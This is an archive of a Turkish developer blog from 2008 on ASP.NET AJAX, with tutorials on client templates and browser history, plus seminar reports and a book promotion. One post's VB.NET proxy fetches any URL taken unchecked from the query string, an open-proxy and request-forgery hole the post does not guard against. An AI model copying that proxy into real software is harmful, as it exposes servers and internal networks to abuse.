Aslına bakılırsa gerçek anlamı ile bir "Geri" navigasyonu sağlamıyoruz. Tarayıcının "Geri" düğmesine basıldığında bir önceki sayfayı tekrar AJAX ile oluşturuyoruz. İstemci tarafında bu durum sanki geri gidilmiş gibi algılanıyor, oysa veriler tekrar sunucudan geliyor. Maalesef bunun şu an için farklı bir çözümü yok.

Diğer yandan tarayıcının sayfa değişmemesine rağmen sayfa değişmiş gibi davranmasını sağlamak için de sayfa adresine aşağıdaki gibi anchor bilgileri ekleniyor. Bu durum site içerisinde anchor kullanımını engelleyecektir. Diğer yandan anchor içerisinde AddHistoryPoint ile eklediğimiz tüm veriler encrypt edilerek saklandığı için bu verilerin olabildiğince güvenlik seviyesinin düşük olmasında da fayda var.

http://localhost:54366/Default.aspx#&&/wEXAQUEc2F5aQUBMrCb2/2XpreE0oVczcMgPShkFLH/

Son olarak yukarıdaki gibi linklerin yaratılması ile beraber artık AJAX sayfalarında da sitenin farklı durumlarının farklı web adreslerine sahip olduğunu unutmayalım. Böylece AJAX ile çalışan bir sitede gezildiğinde kullanıcılar tam olarak içerisinde bulundukları görsel sayfanın adresini kopyalayarak paylaşabileceklerdir.

Hepinize kolay gelsin.

Thursday, August 14, 2008 2:58:55 PM (GTB Standard Time, UTC+02:00)  #    Comments [2]   AJAX  | 
 Monday, July 28, 2008

ASP.NET 3.5 ile artık Framework'e dahil olan AJAX Extension konusunda gelişmeler devam ediyor. ASP.NET AJAX 4.0'a ait Preview sürümü download paketine aşağıdaki adresten ulaşabilirsiniz. Unutmayın ki Preview (Önİzleme) sürümlerindeki özelliklerinin üretimde kullanılması doğru olmaz ve bu özelliklerin gerçekten bir ürün olarak Microsoft tarafından son sürümde yayınlanıp yayınlanmayacağını da kimse garanti edemez.

http://www.codeplex.com/aspnet/Release/ProjectReleases.aspx?ReleaseId=15511 

Peki ne gelişmeler var?

Aslında şu an için gelişmelerin neredeyse hepsi istemci taraflı uygulamalarla ilgili. Sunucu tarafına yeni bir ASP.NET kontrolü gelmiyor. ASP.NET AJAX Features paketindeki sunucu kontrollerinin de AJAX'ın bir sonraki sürümünde bulunacağı beklentiler arasında.

 İstemci tarafındaki yeniliklerden faydalanabilmek için yukarıdaki adresten download paketini bilgisayarınıza indirdikten sonra hemen MicrosoftAjaxTemplates.js dosyasını ASP.NET AJAX destekli bir WebForm'un HTML kısmında include etmeniz yeterli olacaktır. Bunu ister standart HTML komutları ile yapın ister sayfadaki ScriptManager'a bir ScriptReference ekleyin, karar sizin.

İstemci taraflı Template (Şablon) yapıları

El yapımı AJAX yolculuklarımızda belki de en can sıkıcı noktalardan biri sürekli istemci tarafında for döngüleri içerisinde DOM ile HTML nesneleri yaratıp uygun verileri içlerine yerleştirip sayfada konumlarını ayarlamaktır. Keşke sunucu tarafında Repeater gibi istemci de bir şeyler olsa da biz bir şablon hazırlayıp datayı versek, binding işlemini de kendisi yapsa? Ne güzel olurdu değil mi? Eh olsun o zaman :)

    <asp:ScriptManager ID="ScriptManager1" runat="server">

        <Scripts>

            <asp:ScriptReference Path="MicrosoftAjaxTemplates.debug.js" />

        </Scripts>

    </asp:ScriptManager>

İlk önce yukarıdaki şekilde AJAX 4.0'ı sayfamıza ekleyelim. Ben özellikle debug uzantılı dosyayı sayfama ekledim, böylece herhangi bir hata oluştuğunda anlamlı açıklamalarla karşılaşacağız. Bu durumun Web.Config'de Debug ayarı ile kısmen aynı olduğunu düşünebilirsiniz.

    <div id="Sablon" class="sakla">

      Ürün Adı: <input type="text" value="{{ Adi }}" />&nbsp;

      Fiyatı: <input type="text" value="{{ Fiyat + 'YTL' }}"/>&nbsp;

      <!--* if (Fiyat>5) { *-->

        Pahalıymış

      <!--* } *--><br />

    </div>

Bu da nesi? Karşınızda istemci tarafında şablonumuz. Bunu bir anlamda sunucu taraflı ASP.NET Repeater kontrolünün ItemTemplate'ine benzetebilirsiniz. Sablon adındaki DIV içerisine istediğiniz HTML tasarımı yerleştirebilirsiniz. {{ ve }} işaretleri arasındaki komutlar aslında birazdan verimizi bağlarken kullanacağımız veri kaynağımızda Field'ler diyebiliriz.  Örneğin bizim veri kaynağımızda Adi ve Fiyat adında iki özellik bulunacak. Kaynaktaki değerler {{ }} işaretleri ile belirlenmiş yerlere otomatik olarak yerleştirilecek. {{ ve }} işaretleri arasında isterseniz ek JavaScript metodları da kullanabilirsiniz.

      <!--* if (Fiyat>5) { *-->

        Pahalıymış

      <!--* } *--><br />

Bu üst kısımda gördüğünüz JavaScript kodunu biraz farklı yazmamız gerekti. {{ ve }} işaretleri arasında JavaScript komutları kullanabiliriz demiştik fakat burada kullanacağımız JavaScript'in kendisinde de { ve } işaretleri bulunuyor. İşte böyle durumlarda <!--* ve *--> işaretlerini kullanmamız gerekiyor. Buradaki IF kontrolü hedef verideki Fiyat değeri 5'ten büyük olunca Pahalıymış yazılmasını sağlayacak.

    <style type="text/css">

        .sakla

        {

            visibility:hidden;

            display:none;

        }

    </style>

Yukarıdaki CSS sınıfını bizim şablonumuzu sayfada görünmez yapmak için kullanıyoruz. Bunun haricinde sayfada iki şeye daha ihtiyacımız var. Birincisi bir düğme! Düğmeye basıldığında bu şablon üzerinden nesneler yaratılarak sayfaya yerleştirilecek. İkincisi ise şablondan yarattığımız nesneleri sayfada yerleştireceğimiz bir HostElement.

    <input id="TIKLA" type="button" value="button" onclick="Yarat();" />

    <div id="BURAYA"></div>

Düğmeye basıldığında Yarat adındaki bir JavaScript fonksiyonu çalıştırılacak. BURAYA adını verdiğimiz HTML DIV içerisine şablondan türetilen nesneler yerleştirilecek. Sıra geldi Yarat JavaScript fonksiyonunu yazmaya.

    function Yarat()

    {

        var Sablonum = new Sys.Preview.UI.Template.getTemplate($get("Sablon"));

        Sablonum.createInstance($get("BURAYA"), {Adi: "XX", Fiyat: "34"});

        Sablonum.createInstance($get("BURAYA"), {Adi: "XX", Fiyat: "2"});

    }

Görüldüğü olay aslında çok kolay. İlk satırda Sablonum adında bir değişkene Sablon üzerinden Template nesnesini yaratıyoruz. getTemplate metoduna $get ile sayfadaki şablonu içeren DIV elementini vermemiz yeterli oluyor. Sonrasında bu şablon üzerinden yeni nesneler üretmemiz gerek. Bunun için createInstance metodunu kullanacağız. createInstance metodu toplamda iki parametre alıyor; üretilen nesne nereye yerleştirilecek ve üretilirken hangi veri kaynağı kullanılacak. İlk parametreye $get ile sayfadaki DIV'i bulup veriyoruz, ikinciye ise bir JSON verisi aktarıyoruz. Burada kolaylıkla ASP.NET AJAX'daki PageMethodlardan dönen verilen de aktarılabilir.

Daha kolay olamazdı.
Daha kolay olamazdı.

Başka, başka?

XML ile declarative programlama AJAX'ın yıllardan beri konuşulan altyapılarından biri. İlk konuşulduğu şekli ile olmasa da ilginç bir yapı ile karşımıza çıkması olası. Şu an için bu konularda örnekler yapıp ilerlemek için biraz erken sayılabilir. DataView gibi bazı kontrollerin istemci taraflı sürümlerinin framework'e dahil edilmesi bile dedikodular arasında. Zamanla ufukta güneş açtıkça gelişmeleri tabi ki sizlerle paylaşıyor olacağım. Şimdilik bu kadarı ile yetinmeye çalışalım ;)

Hepinize kolay gelsin.

Monday, July 28, 2008 12:59:01 AM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX  | 
 Tuesday, June 03, 2008

Bugün Edirne M.P. Anadolu Ticaret Meslek ve  Ticaret Meslek Lisesi'nin organizasyonunu üstlendiği Edirne'deki meslek liseleri'nin yer aldığı bir seminer serisindeydim. Semineri Trakya Birlik Genel Müdürlüğü Konferans Salonu'nda yaptık. Salon şu ana kadar gördüğüm en ilginç ve güzel salonlardan biriydi. Balkonuyla beraber iki katlı seminer salonunda alt kattaki ve üst kattaki dinleyiciler için ayrı projeksiyon sistemlerinin bulunması dinleyici için çok ergonomik bir ortam sağlıyor.

Edirne'ye gidip Selimiye Cami fotoğrafı çekmemek olmaz :)
Edirne'ye gidip Selimiye Cami fotoğrafı çekmemek olmaz :)

Sabah 09.00 gibi seminerlere başladığımız için bir gün önceden Edirne'ye gitmek durumunda kaldım. Dün akşam 20.00 gibi Edirne'deydim, Meriç kenarında bir yemek yeme şansına sahip olmak muhteşemdi. Aslında otobüsle iki buçuk saat gibi kısa bir sürede gidilebilen Edirne'yi (kendi adıma konuşayım) sanki biraz farkında değiliz veya unutmuşuz gibime geldi. Rahatlıkla günübirlik gidip gezilebilecek bir şehir.

Selimiye Kubbesi İç Motifler
Selimiye Kubbesi İç Motifler

09.00'da başladıktan sonra öğleden sonra 18.00'a kadar WPF, Silverlight ,AJAX ve LINQ konularına değindik. Bu benim ikinci Meslek Lisesi deneyimim oldu. Lise çağındaki gençlere hitap edebilmek adına daha çok çalışmam gerektiğini açıkça itiraf edebilirim :) Yine de aldığım tepkilere göre faydalı bir gün geçirdik, parıldayan genç gözler gördüm.

Edirne, MP (Anadolu) Ticaret Meslek Lisesi, WPF, Silverlight, AJAX, LINQ Seminerleri
Edirne, MP (Anadolu) Ticaret Meslek Lisesi, WPF, Silverlight, AJAX, LINQ Seminerleri

Aktivite boyunca Edirne TV :) de oradaydı. Hatta sitelerinde de aktiviteyi haber yyapmışlar. Özellikle sitedeki fotoğrafta biraz çok agresif çıkmışım :) Zaten herkes sahnede rahat durmadığım için fotoğraf çekememekten şikayetçi :)

Organizasyondaki emeklerinden dolayı sevgili Serdar Daloğlu'na , Aziz Bayıroğlu ve Oğuzcan Şahin'e burada bin bir teşekkür ediyorum. Beni muhteşem bir şekilde ağırlamanın yanı sıra organizasyondaki her tür detayı çok başarılı bir şekilde yürüttüler.

Tuesday, June 03, 2008 10:45:51 PM (GTB Standard Time, UTC+02:00)  #    Comments [3]   AJAX | ASP.NET | ASP.NET 3.5 | LINQ | Silverlight | WPF  | 
 Sunday, May 25, 2008

Özellikle beni microbloğum twitter.com üzerinden takip edenlerin farkında olacağı üzere hafta sonunu Ankara'da geçirdim. Cumartesi gece yarısı yola çıkarak sabahına Ankara'ya vardım ve sabah 10.00 gibi EMO (Elektrik Mühendisleri Odası) Ankara şubesinde eğitim serimize başladık. WPF, AJAX, Silverlight ve LINQ konularına değindiğimiz eğitimi Pazar akşamı 18.00'da bitirdik.

EMO Eğitim Serisi başlangıcından bir kare...
EMO Eğitim Serisi başlangıcından bir kare...

Eğitime katılan arkadaşlara özellikle Silverlight örneğindeki kodları blogumdan paylaşacağım konusunda söz vermiştim. Aşağıdan gerekli dosyaları bilgisayarınıza indirebilirsiniz.

Örnek Kodlar - 25052008_2.rar (8,57 KB)

Eğitime katılan ve kocaman bir hafta sonu boyunca yeni teknolojiye olan ilgilerini ve konsantrasyonlarını en yüksek seviyede tutan tüm arkadaşlara çok teşekkür ediyorum (Özellikle ikinci gün sınıfa pasta alan kamera fobili arkadaşımıza ek teşekkürler :))

INETA ve EMO işbirliğinizde düzenlediğimiz bu eğitime katkısından dolayı ODTÜ Bilgisayar Mühendisliği Araştırma Görevlisi Serdar Çiftçi'ye, eğitimlere laboratuar ortamı sağlamakla beraber gösterdikleri sıcak misafirperverlik için de tüm EMO ekibine teşekkürler.

Sunday, May 25, 2008 7:16:24 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | Expression Blend | Expression Design | Expression Encoder | LINQ | Silverlight | Silverlight 2.0 | WPF  | 
 Monday, May 19, 2008

İstemci taraflı programlama sistemleri AJAX ile karşımıza çıkmıştı, Silverlight ile beraber ise artık istemci taraflı programlama neredeyse "hayatımız" oluyor. Bu durumda karşılaştığımız en büyük sorun "Cross-Domain-Request" sınırlaması. Güvenlik nedenleriyle bir alan adından bir başka alan adına bağlanarak veri talebinde bulunamıyoruz. Eğer karşıdaki alan adının ihtiva ettiği siteye admin erişiminiz varsa tabi ki farklı teknikler kullanarak bu sorunu çözebilirsiniz. Bu konuda Silverlight 2.0 ile beraber clientaccesspolicy.xml dosyası geliyor.

Peki ya karşı siteye admin erişimimiz yoksa?

İşte o zaman kendi sitemizde sunucu taraflı bir proxy kullanmamız şart. ASP.NET ile sunucu tarafından istediğimiz siteye bağlanarak istediğimiz dosyası alabiliriz. Bu durumda bir ASPX sayfası yapsak bizim yerimize gidip kendisine hedef gösterdiğimiz adresten gerekli dosyayı alıp istemci tarafına, yani bize iletse hoş olmaz mı?

        Dim Talep As New Net.WebClient

        Dim GelenVeri As Byte() = Talep.DownloadData(Request.QueryString("Dosya"))

        Response.ContentType = Talep.ResponseHeaders("Content-type").ToString

        Response.OutputStream.Write(GelenVeri, 0, GelenVeri.GetLength(0))

        Response.OutputStream.Close()

        Response.End()

Yukarıdaki kod içerisinde doğrudan bir WebClient yaratarak farklı bir adresten veri indirme işlemi yapıyoruz. Kod içerisindeki en önemli nokta indirmek istediğimiz hedef veri ile istemciye göndereceğimiz verinin ContentType değerlerinin aynı olması gerektiği. Bunun için Response.ContentType'ı WebClient üzerinden aldığımız Content-Type header bilgisi ile eşleştiriyoruz. Böylece proxy'miz gerektiğinde video veya resim dosyalarını da rahatlıkla indirerek bize ulaştırabilir.

Performans?

Yukarıdaki örneğimiz çok basit bir yapıya sahip. Dosyayı sunucuya indirerek doğrudan istemciye gönderiyor. Yüksek sayıda istek oluşan projelerde veya büyük dosyalar indirecek olan uygulamalarında farklı performans senaryoları uygulamak gerekecektir. Aslında baktığımızda bu yapının herhangi bir Proxy programlamaktan pek farkı yok. Aklıma ilk aşamada gelen dikkat edilmesi gereken noktalar şöyle oldu;

  • Büyük dosya indirirken istemcinin hala bağlı olup olmadığını Response.IsClientConnected ile kontrol etmek gerekir.
  • Büyük dosya indirme işlemlerinde bufferlamak ve kısım kısım indirerek istemciye göndermek daha mantıklı olabilir. Özellikle video dosyalarında.
  • Kesinlikle bu dosyaya request yollayanın headerını kontrol etmek lazım. Kötü niyetli biri bu proxy'yi sadece sunucunun bant genişliğini harcamak için kullanabilir veya gereksiz yere sunucuyu yorabilir.

Hepinize kolay gelsin.

Monday, May 19, 2008 10:47:08 AM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | Silverlight | Silverlight 2.0  | 
 Saturday, May 17, 2008

Tam bir yıl olmuş; ASP.NET AJAX kitabım basılalı üzerinden bir yıl geçmiş. Oysa ilk altı ayda kitap tükenmişti ve Pusula Yayıncılıktan "2. baskıya gireceğiz yenilenecek bir şey var mı?" sorusu gelmişti. Cevabım özellikle yayıncı için biraz acı verici oldu; "ASP.NET 3.5 geliyor yeni kitap yapmamız gerek, çok değişiklik var!" Böylece eski kitabın ikinci baskı meselesini durdurarak hemen yeni kitap çalışmasına başladım ve ancak bitti :)

ASP.NET 3.5 AJAX Kitabı Kapağı
ASP.NET 3.5 AJAX Kitabı Kapağı

Kitapta neler var?

Toplamda 700 sayfayı bulan bir AJAX kitabı olarak aslında ASP.NET ile AJAX'ı öğrenmek isteyenlerin ihtiyaç duyabileceği neredeyse her şey var diyebilirim. Farkındaysanız kesin konuşmuyorum :) çünkü bir sonraki baskıya ekleyeceğim bir bölümü kenara not aldım bile :) Eksikler hiçbir zaman bitmez ama şu an kitabımı elime alıp baktığımda şu kadar iddialı konuşabilirim; "ASP.NET 3.5 AJAX Dünyada bulabileceğiniz en iyi 5 kitap arasındadır." Türkiye'de zaten herhangi bir rakibi yok kitabın. Sanırım bir sonraki baskısından sonra dünyada da olmayacak :)

Kitap içerisinden baştan başlayarak JavaScript, XML, XSLT, XPATH, CSS konularına giriş yaptıktan sonra el yapımı AJAX tekniklerine değiniyoruz. Sonrasında bağımsız JavaScript kütüphanelerini inceliyoruz. Tüm bunları kapsayan ortalama 200 sayfalık bölüm ASP.NET'ten tamamen bağımsız olarak diğer sunucu programlama (ASP, PHP) dilleri ile de rahatlıkla kullanılabilir bilgiler içeriyor. Altyapıyı hallettikten sonra ASP.NET tarafına geçip sunucu taraflı kütüphaneleri incelemeye başlıyoruz. ASP.NET 2.0 ile AJAX kullanımı ve sonrasında da ASP.NET 3.5 tarafına geçerek ilerliyoruz. Sona doğru AJAX Control Toolkit'i inceliyor, örnek bir AJAX kontrolü geliştiriyor ve "Sorunlar ve Taktikler" bölümünde de tüm AJAX projelerinde karşılaşacağınız genel geçer sorunlara çözümler arıyoruz. Kitaba noktayı koymadan önce de "Gelecekten Nameler" bölümünde bizi gelecekte bekleyen gelişmeleri irdeliyoruz.

Türkiye'de İlk WPF DVD Arayüzü

Kitap ile beraber gelen DVD içerisinde tüm Visual Studio 2008 Express ailesini bulabilirsiniz. Örnek kodları arayüz içerisinde inceleyebilir örnekleri doğrudan DVD üzerinden ASP.NET Development Server ile otomatik çalıştırabilirsiniz. Kitapta kullanılan tüm yazılımlar DVD içerisinde bulunuyor. Ayrıca DVD içerisinde 4 farklı konuda görsel dersler de bulunuyor. Bunlardan ikisini nedirtv.com üzerinden sizlerle daha önce paylaşmıştım.

WPF DVD Arayüzü
WPF DVD Arayüzü

DVD'nin arayüzünü tamamen WPF ile hazırladım. Arka planda VB.NET kullanarak gerçekten çok hoş ve kolay bir deneyim olduğunu söyleyebilirim.

Eski kitap var bende, yenisini almalı mı?

Bu cevaplaması zor bir soru. Ben olsam alırdım. Eski kitabı tamamen okuyanlara "Yeni neler var?"dan bahsetmek istiyorum. İlk olarak kitap tamamen elden geçirildi. Bu sefer kitapta hem VB hem C# örnekleri var. IIS 7.0 kurulumu ve ASP.NET 3.5 ile entegrasyon var. Tüm örnekler Visual Studio 2008 üzerinden hazırlandı. Neredeyse her bölümde ufak tefek eklemeler var, hatta bazı bölümler başlığı aynı kalsa da baştan sıfırdan yazıldı. Örneğin "Sorunlar ve Taktikler"deki "Drag'n'Drop" bölümünü sıfırdan farklı bir tekniği anlatarak yazdım.

Bunların haricinde kitapta yeni JavaScript debugger araçları, WCF ile AJAX örnekleri, UpdateProgress ve Silverlight örneği, JSON ile LINQ kullanımına dair JLINQ bölümü bulunuyor. Bunların hepsi eski kitapta yer almayan konulardı. "Sorunlar ve Taktikler" bölümünde Cross-Domain veri aktarımı taktiği, sürükle ve bırak sorunu çözümü gibi yenilikler var. AJAX Control Toolkit bölümünde neredeyse her kontrolde bir yenilik var, Control Toolkit paketi geçen yıldan bu yana çok değişti. Control Toolkit kontrollerinin Visual Studio 2008 içerisindeki kullanımı da değişti. Tüm bunları kitaba yansıttım.

Gelelim en önemli noktaya :) Kitapta 2 yeni kocaman bölüm var. Bunlardan biri "JavaScript Kütüphanaleri" bölümü. Bu bölümde sanırım bugüne kadar herhangi bir basılı kitapta bahsedilmemiş olan bağımsız JavaScript kütüphanelerine değindim; Mootools, Prototype, jQuery kesinlikle bir AJAX geliştiricisinin bilmesi gereken konular. Tabi ki bu kütüphanelerin tüm detaylarını inceleyemedik, aksi halde her biri için ayrı birer kitap yazılabilir. Ben yaklaşık yetmiş sayfalık bir içerik ile olabildiğince ASP.NET AJAX uygulamaları geliştirirken işinize yarayacak kısımları ele alarak biraz da ipin ucunu göstermiş olmak istedim.

Diğer yeni bölümümüz ise "Gelecekten Nameler" bölümü. Çok yakında .NET Framework 3.5 SP1 ile beraber yeni AJAX kontrolleri karşımıza çıkacak. İşte bu kontroller bu bölümde anlatılıyor. Ayrıca Internet Explorer 8.0'ın getireceği yeni AJAX özellikleri de bu bölümde bulunuyor. Anlayacağınız bölümün adının da hak ettiği şekilde bu bölümde "geleceğe yolculuk" yaparak ileride karşımıza çıkacaklar göz atıyoruz.

Peki kaç para kardeş bu kitap?

Bu aslında çok önemli bir soru :) Cevaplamadan önce aslında bu soruyu alenen yazmamın nedenini anlatıyım. Yaklaşık iki veya üç ay önce kütüphanemdeki tüm ASP.NET AJAX kitaplarımı seminerlerde hediye ettiğim için elimde kendi kitabımdan hiç kalmamıştı. Pusula Yayıncılık'ı arayarak kitabımdan bir adet istediğimi söylediğimde bana "Bizde stok kalmadı ki!" cevabını verdiklerinde ufak bir şok geçirdim. "Tanrım kitabım bende yok!"

Hemen mağaza mağaza gezerek sonunda kitabımdan bir adet buldum ve satın aldım. Kasiyer 30 YTL istediğinde ufak bir şok geçerdim. "Benim kitabım 30 YTL miymiş?" Gerçekten unutmuşum kitabımın ne kadara satıldığını. O verdiğim 30 YTL can acısı gibi oturdu içime. Tabi kitabın içeriği ile bir değerlendirme yaptığınızda belki 30 YTL çok değildir ama benim o kitaptan öğrenebileceğim bir şey yok ki! :D

Her neyse, durum böyle olunca yeni kitabımla ilgili düşünmeye başladım. Yaklaşık 200 sayfa ek içerik olacak ve bu sefer CD yerine DVD veriliyor. Üzerinden bir de bir yıl geçmiş, onun da zammı var. Yeni kitap feci pahalı olacak! Bu düşünce beni epey rahatsız etti. Sonuçta oturdum, düşündüm, taşındım ve bir karar verdim. Kitaptan telif hakkı almayacaktım. Hakkımdan feragat etmenin yasal anlamda sözleşmelerde sorun yaratabileceği için telif hakkını %1 gibi sembolik bir rakama indirerek Pusula ile bu şekilde karara vardık. Onlar da bu durumu kitabın satış rakamına yansıttılar ve kitabı bu kadar değişiklik ve aradan geçen 1 yıla rağmen 37 YTL şeklinde sonlandırabildik.

Bana sorarsanız hala pahalı :) O nedenle tavsiyem kitabı online satış mağazalarından almanız. Böylece dağıtımcıyı aradan çıkardığınızda ciddi bir indirim almış oluyorsunuz. Kitap hepsiburada.com'da şu an havale ile 28,5 YTL, çok yakında tahminimce daha da indirimli olarak kitapyum.com üzerinde de yerini alacaktır.

Vatana, millete hayırlı olması dileği ile ;) Hepinize kolay gelsin.

Not:Kitap kitapyurdu.com'ta 24 YTL :)

Saturday, May 17, 2008 2:00:46 PM (GTB Standard Time, UTC+02:00)  #    Comments [44]   AJAX  | 
 Tuesday, May 13, 2008

Bugün Konya, Selçuk Üniversitesin'deydim. Sabah 10.00'da başlayarak 19.00'a kadar WPF, AJAX, Silverlight ve LINQ konularını inceleyen bir seminer ile güzel bir gün geçirdik. Umarım "yol yorgunluğum" aktiviteye çok yansımamıştır. Bir gün öncesinde bildiğiniz üzere Çanakkale 18 Mart Üniversitesin'deydim ve akşam 23.00'da Çanakkale'den mecburen otobüs ile İstanbul'a döndüm. O saatte uçak vs yok. Sabaha karşı 05.00'de İstanbul'daydım ve 07.00 uçağı ile Konya'ya uçtum :) Durum böyle olunca hem uykusuzluk (buna alışkınım aslında) hem de sadece uçakta verilen abuk sandwich nedeniyle açlık (işte buna dayanamam!) nedeniyle performansımdan şüphe etmediğimi söylesem yalan olur.

Konya, Selçuk Üniversitesi
Konya, Selçuk Üniversitesi

Aktivitede katkılarından dolayı sevgili MSP, Okan Öztürkmenoğlu'na çok teşekkür ediyorum. Bereketine hayran kaldığım etli ekmek desteği ile tüm günü ayakta geçirebilmeme büyük katkıları oldu :)

Tekrar görüşmek üzere ;)

Tuesday, May 13, 2008 6:16:49 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | LINQ | Seminer | Silverlight | Silverlight 2.0 | WPF  | 
 Tuesday, April 01, 2008

PCnet'in Nisan sayısındaki yazılarımı her ay olduğu gibi yine buradan sizlere duyurmak istiyorum :) Derginin OKUL bölümünde AJAX, ASP.NET 3.5, Expression Blend ve Silverlight ile ilgili yazılarım yer alıyor.

AJAX : ASP.NET AJAX İstemci Özellikleri
Expression Blend : WPF ile zengin doküman uygulamaları
Silverlight: Silverlight ve video dünyası
ASP.NET 3.5 : Bir sitenin ekran görüntüsünü ASP.NET ile nasıl alırsınız?

Hepinize sevgiler.

Tuesday, April 01, 2008 8:44:53 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | ASP.NET 3.5 | Expression Blend | Silverlight  | 

Bugün ODTÜ Bilgisayar Mühendisliği Bölümü'nde uzun soluklu bir Silverlight ve AJAX semineri düzenledik. Seminer boyunca gerçekten çok güzel sorular geldi. Katılımcıların yarısı her zamanki gibi ilk bir saatte salonu terk etti ve esas programcılar ile biz bize kaldık :) Zaten o noktadan sonra kalan ilgili dinleyiciler ile sanırım seminer 10 saat bile sürse sorun olmazdı.

ODTÜ, Silverlight ve AJAX Semineri
ODTÜ, Silverlight ve AJAX Semineri

Buradan özellikle ODTÜ'den sevgili Arş. Gör. Serdar Çiftçi'ye aktiviteye katkılarından dolayı teşekkür ediyorum. Seminer sonrasında beni yalnız bırakmayan MSP'lerimiz Ali Rıza Babaoğlan, Murat Duman ve sevgili Tayfun Akçay'a da ayrıca teşekkür ediyorum. Güzel ve eğlenceli bir akşam geçirdim sayelerinde :)

Tuesday, April 01, 2008 8:41:18 AM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | Silverlight  | 
 Tuesday, March 25, 2008

Son iki gündür Isparta, Süleyman Demirel Üniversitesi'ndeydim. İki gün boyunca Silverlight, WPF, ASP.NET 3.5 AJAX ve LINQ konularına değindik. SDÜ zaten daha önce de öğrencilerinden bana gelen soru mailleri ile beni şaşırtan bir üniversite olmuştu. Bu ziyaretimde de epey şaşkın anlar yaşadım. Peki neye şaşırdım? SDÜ'de şu an Silverlight ve WPF konularında bitirme projeleri hazırlayan kardeşlerimiz var. Daha çoğu üniversitede bu konuların birer mistik ütopya olarak dolaştığını düşünürsek SDÜ öğrencileri ciddi şanslı. Seminerler boyunca gelen sorular ortalamanın çok üstünde bir seviyeye sahipti.

Süleyman Demirel Üniversitesi, Isparta
Süleyman Demirel Üniversitesi, Isparta

Buradan özellikle SDÜ'den sevgili Eğitim Görevlisi dostum Mehmet Albayrak'a ilgisi, misafirperverliği ve organizasyondaki katkısı için çok teşekkür ediyorum. Ayrıca tabi ki güler yüzleri ve teknoloji aşkları ile beni hem şaşırtan hem de sevindiren katılımcılara, SDÜ öğrencilerine de çok teşekürler. Kısa zamanda yakaladığım ufak bir manzara fotoğrafı ile buradan Ispartaya tekrar selamlar.

Eğirdir Gölü Tepesi, Isparta
Eğirdir Gölü Tepesi, Isparta

Tuesday, March 25, 2008 7:59:49 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | ASP.NET 3.5 | LINQ | Seminer | Silverlight | WPF  | 
 Monday, March 24, 2008

Dün INETA ve TBD işbirliği ile düzenlediğimiz "4 Konu 4 Gün" eğitim serisinin ilk gününü tamamladık. "ASP.NET 3.5 AJAX" konusunu ele aldığımız gün boyunca teknik detaylara boğulmanın yanı sıra bir "Pazar" gününün şanına değer bir şekilde eğlenmeyi de unutmadık :) Özellikle öğle yemeği araları muhteşem :) Eğitim ortamımızı size biraz anlatmam gerekirse, "çantasından çikolatasını çıkartarak sınıfıyla paylaşan" arkadaşlarımızdan, "herkes açlıktan ölürken (sadece ben değil) sadece bir tabak çorba içip, Ben Doydum diyebilen arkadaşlarımıza kadar renkli bir perspektife sahiptik :) Hah bir de okuldaki derslerini düşünen "dertli kerime"miz vardı :) Sanırım bir pazar gününü hem bu kadar eğlenceli hem de verimli geçirmek adına ciddi bir başarı sağladık.

ASP.NET 3.5 AJAX Günü
ASP.NET 3.5 AJAX Günü

Katılan herkese çok teşekkür ediyorum. Büyük zevk aldım. Fotoğraf çekilmeye kadar kalamayan ve bir saat öncesinde kaçan arkadaşları da şiddetle kınıyoruz :)

Gün boyunca yaptığımız bazı örnekleri aşağıdan indirebilirsiniz.

Örneklere ait kaynak kodları - 24032008_1.zip (26,94 KB)

Monday, March 24, 2008 9:06:09 PM (GTB Standard Time, UTC+02:00)  #    Comments [3]   AJAX | ASP.NET 3.5 | Eğitimler  | 
 Monday, March 17, 2008

Ücretsiz eğitim konseptinde düzenlediğimiz INETA ve NETRON sponsorluğundaki Silverlight 1.0 eğitimine gelen ve gelmeye devam eden büyük ilgi daha önce de tahmin ettiğim bir durumdu. Bu konuda maalesef "talihli" olamayıp seçilemeyen arkadaşlar haklı olarak sitemkar mailler gönderiyorlar. Emin olun bu tarz aktivitelere devam edeceğiz, mekan sponsorları aramaya devam ediyorum.

Bundan yaklaşık bir ay kadar öncesinde sevgili Burcu Kutlu ile temellerini attığımız bir diğer etkinliği bugün sizlere duyurmak istiyorum. Bu sefer de INETA ve TBD Genç işbirliği ile birer tam günlük dört farklı konuda bilgisayar başında eğitimler açıyoruz. "Bir günlük eğitim mi olur?" derseniz aslında haklısınız ama en azından kendi adıma düşündüğümde 3 saatlik seminerlerimden sonraki adım diyebilirim. Diğer Silverlight eğitimini 3 gün olarak tasarlamıştık. Umarım yakında bu gibi ücretsiz eğitimlerin sayısını arttıracağız. Bu seferlik dört konu, dört gün ;)

23 Mart - ASP.NET 3.5 AJAX
30 Mart - Silverlight
6 Nisan - Expression Blend ve WPF
13 Nisan - ASP.NET 3.5 ve LINQ

Eğitim saatleri her gün 10.00-18.00 arasında, eğitim yeri TBD İstanbul (Ali Ruhi Sok. No:2, K.3, Hasanpaşa/ Kadıköy).

Kayıt için bu adresi kullanabilirsiniz; http://www.tbdgenc.org/index.php?page=activityjoin&lang=tr&id=29

Buradan özellikle tekrar sevgili Burcu Kutlu'ya aktivitenin organizasyonundaki yoğun emekleri için çok teşekkür ediyorum.

Monday, March 17, 2008 10:36:44 AM (GTB Standard Time, UTC+02:00)  #    Comments [5]   AJAX | ASP.NET 3.5 | Expression Blend | LINQ | Silverlight | WPF  | 
 Saturday, March 01, 2008

PCnet'in Mart sayısındaki yazılarımı her ay olduğu gibi yine buradan sizlere duyurmak istiyorum :) Derginin OKUL bölümünde AJAX, ASP.NET 3.5, Expression Blend ve Silverlight ile ilgili yazılarım yer alıyor.

AJAX : İnce ayar AJAX.
Expression Blend : WPF tasarımında görsel kaynaklar
Silverlight: Silverlight projelerinin bileşenleri
ASP.NET 3.5 : ASP.NET 3.5 Veri Kontrolleri

Hepinize sevgiler.

Saturday, March 01, 2008 10:27:22 AM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | ASP.NET 3.5 | Expression Blend | Silverlight  | 
 Thursday, February 07, 2008

